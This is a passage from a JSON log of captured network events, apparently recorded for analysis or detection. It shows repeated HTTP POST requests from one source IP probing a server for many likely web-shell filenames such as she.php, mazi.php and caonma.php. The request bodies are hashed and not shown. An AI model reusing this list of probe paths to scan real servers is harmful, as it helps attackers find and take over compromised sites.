          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1396,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255988.279498000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zuoshss.php",
            "http.response_in": "1400",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zuoshss.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-85d7f8e3fd130f377e320e9f",
          "src_port": 57806,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1399,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255989.921922000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/789056.php",
            "http.response_in": "1403",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/789056.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a36af618868cde6708e7a4d5",
          "src_port": 57806,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1402,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255990.289972000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/abc776.php",
            "http.response_in": "1406",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/abc776.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-110b1e7608a7a61ffab0854f",
          "src_port": 57806,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1405,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255993.598057000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/afafaf.php",
            "http.response_in": "1409",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/afafaf.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d6222450f95fdc924ba0ee70",
          "src_port": 57806,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1408,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255994.945833000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/jyyy.php",
            "http.response_in": "1412",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/jyyy.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-59622b62e3ead675e7d6d5a7",
          "src_port": 57806,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1411,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255998.576383000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ooo23.php",
            "http.response_in": "1423",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ooo23.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0402db2ca333e520bd7d1ee6",
          "src_port": 60737,
          "tcp_stream": 46,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1421,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256008.818732000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/htfr.php",
            "http.response_in": "1426",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/htfr.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-25df14a7b719a905ac928087",
          "src_port": 60737,
          "tcp_stream": 46,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1425,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256009.122112000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/boots.php",
            "http.response_in": "1429",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/boots.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-913a7bec864fe40ab9a64d91",
          "src_port": 60737,
          "tcp_stream": 46,
          "udp_stream": null,
          "body_sha256": "dc5eda42292e02c4bd0661d61a85656c9cfc498fc84df0e3fc39c11d5e975489",
          "frame_number": 1428,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256009.397980000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/she.php",
            "http.response_in": "1432",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/she.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e9a9e033af4b9662e173297f",
          "src_port": 60737,
          "tcp_stream": 46,
          "udp_stream": null,
          "body_sha256": "8567e5edc0206dfb26058c1a3aff7e3c257d4946139bde76fdb9372a68a1cb15",
          "frame_number": 1431,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256009.702331000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/test.php",
            "http.response_in": "1450",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/test.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-29c47015364de146374d021e",
          "src_port": 63653,
          "tcp_stream": 49,
          "udp_stream": null,
          "body_sha256": "8567e5edc0206dfb26058c1a3aff7e3c257d4946139bde76fdb9372a68a1cb15",
          "frame_number": 1448,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256033.847521000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/caonma.php",
            "http.response_in": "1453",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/caonma.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1a38649b2b368b9ebd756bd1",
          "src_port": 63653,
          "tcp_stream": 49,
          "udp_stream": null,
          "body_sha256": "df536ceea712fce0cbd5c6ab4d5bd03f0da47e297d366e7d8b94587049f60e8f",
          "frame_number": 1452,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256034.133587000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/wcp.php",
            "http.response_in": "1456",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/wcp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-70da3b5688e39adb814350bf",
          "src_port": 63653,
          "tcp_stream": 49,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1455,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256037.540611000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/u.php",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/u.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4319d6c79f3f7bf98ecff9e6",
          "src_port": 63653,
          "tcp_stream": 49,
          "udp_stream": null,
          "body_sha256": "f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0",
          "frame_number": 1459,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256042.659716000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/u.php",
            "http.response_in": "1469",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/u.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d778eae7a905ad0d0d97f78d",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0",
          "frame_number": 1467,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256043.081696000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/uuu.php",
            "http.response_in": "1474",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/uuu.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-92238f8d30b3fcb4b831a7fc",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0",
          "frame_number": 1473,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256045.623089000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/sss.php",
            "http.response_in": "1477",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/sss.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a25fd2f2132f63b6ea06bae4",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0",
          "frame_number": 1476,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256045.901156000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ooo.php",
            "http.response_in": "1480",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ooo.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8be19088258a70e4a114ca74",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0",
          "frame_number": 1479,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256046.780153000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ss.php",
            "http.response_in": "1483",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ss.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a94d5714f7f68e014aa4030e",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "46c7ad95f8964264d4b79d95fafd174bf93fb9b8b9823a128c22350c17d40d4c",
          "frame_number": 1482,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256047.060257000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ss.php",
            "http.response_in": "1486",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ss.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b1dc7816a03e0d556e18eb73",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1485,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256047.336837000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/sss.php",
            "http.response_in": "1489",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/sss.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2a55300e9a5403a270f98090",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1488,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256049.605093000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/mazi.php",
            "http.response_in": "1492",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/mazi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-47460b3317789c24789e848a",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1491,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256049.888275000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/phpini.php",
            "http.response_in": "1495",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/phpini.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-55d033c05cef527e9932ab65",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1494,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256050.315473000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/1.php",
            "http.response_in": "1498",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-86038d9a2dbd47de9c96de58",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "0dbb7096e097f7ed71c520d093d8b1fc2f23e01fa5f3c3a71a8861e14c9b88cb",
          "frame_number": 1497,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256050.592425000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/2.php",
            "http.response_in": "1501",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/2.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-10f4f2fa87c6c9517acfbe80",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "0dbb7096e097f7ed71c520d093d8b1fc2f23e01fa5f3c3a71a8861e14c9b88cb",
          "frame_number": 1500,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256051.577006000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/core.php",
            "http.response_in": "1504",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/core.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e8f9c0febb698c12f036af45",
          "src_port": 64829,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "0dbb7096e097f7ed71c520d093d8b1fc2f23e01fa5f3c3a71a8861e14c9b88cb",
          "frame_number": 1503,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256052.274726000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qaz.php",
            "http.response_in": "1515",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qaz.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d93e296d947471fac96802e6",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "64be87fe9aff766bc913c9a9206848681460a9783a56f61cb3e708ae6ed1d0a8",
          "frame_number": 1513,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256066.046211000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/sha.php",
            "http.response_in": "1518",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/sha.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6c4627d7dccc2614ae255c22",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "002dec6d3ad597ad1363832cf980c066186b2a5f58b6142e09858f7d76d1eda7",
          "frame_number": 1517,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256067.032303000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ppx.php",
            "http.response_in": "1521",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ppx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2481a299f9a8b33dd16bda41",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "df68b2a3ded8ac0bbb5df2004cb70fcf2af56e207c70b360e6b5a19a28792640",
          "frame_number": 1520,
